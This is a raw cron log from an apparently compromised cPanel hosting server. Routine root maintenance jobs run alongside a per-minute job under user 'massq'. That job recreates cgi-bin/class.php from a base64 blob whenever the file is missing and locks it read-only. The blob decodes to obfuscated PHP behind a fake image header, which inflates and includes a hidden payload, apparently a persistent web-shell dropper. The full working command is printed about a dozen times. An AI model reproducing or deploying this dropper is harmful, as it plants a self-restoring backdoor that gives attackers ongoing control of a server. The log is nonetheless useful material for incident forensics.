Sep 12 11:18:01 server CROND[16781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:18:01 server CROND[16782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:19:01 server CROND[17158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:19:01 server CROND[17159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:19:01 server CROND[17160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:20:01 server CROND[17590]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:20:01 server CROND[17592]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 11:20:01 server CROND[17595]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 11:20:01 server CROND[17593]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:20:01 server CROND[17597]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 11:20:01 server CROND[17600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:20:01 server CROND[17594]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 11:20:01 server CROND[17598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:20:01 server CROND[17603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:21:01 server CROND[18425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:21:01 server CROND[18426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:21:01 server CROND[18427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:22:01 server CROND[18805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:22:01 server CROND[18806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:22:01 server CROND[18807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:23:01 server CROND[19297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:23:01 server CROND[19298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:23:01 server CROND[19299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:24:01 server CROND[19679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:24:01 server CROND[19680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:24:01 server CROND[19681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:25:01 server CROND[20175]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:25:01 server CROND[20177]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 11:25:01 server CROND[20178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:25:01 server CROND[20180]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 11:25:01 server CROND[20181]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:25:01 server CROND[20182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:25:01 server CROND[20183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:26:01 server CROND[21032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:26:01 server CROND[21033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:26:01 server CROND[21034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:27:01 server CROND[21421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:27:01 server CROND[21422]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 11:27:01 server CROND[21423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:27:01 server CROND[21424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:28:01 server CROND[21905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:28:01 server CROND[21906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:28:01 server CROND[21907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:29:01 server CROND[22343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:29:01 server CROND[22345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:29:01 server CROND[22344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:30:01 server CROND[22742]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:30:01 server CROND[22743]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 11:30:01 server CROND[22749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:30:01 server CROND[22750]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 11:30:01 server CROND[22747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
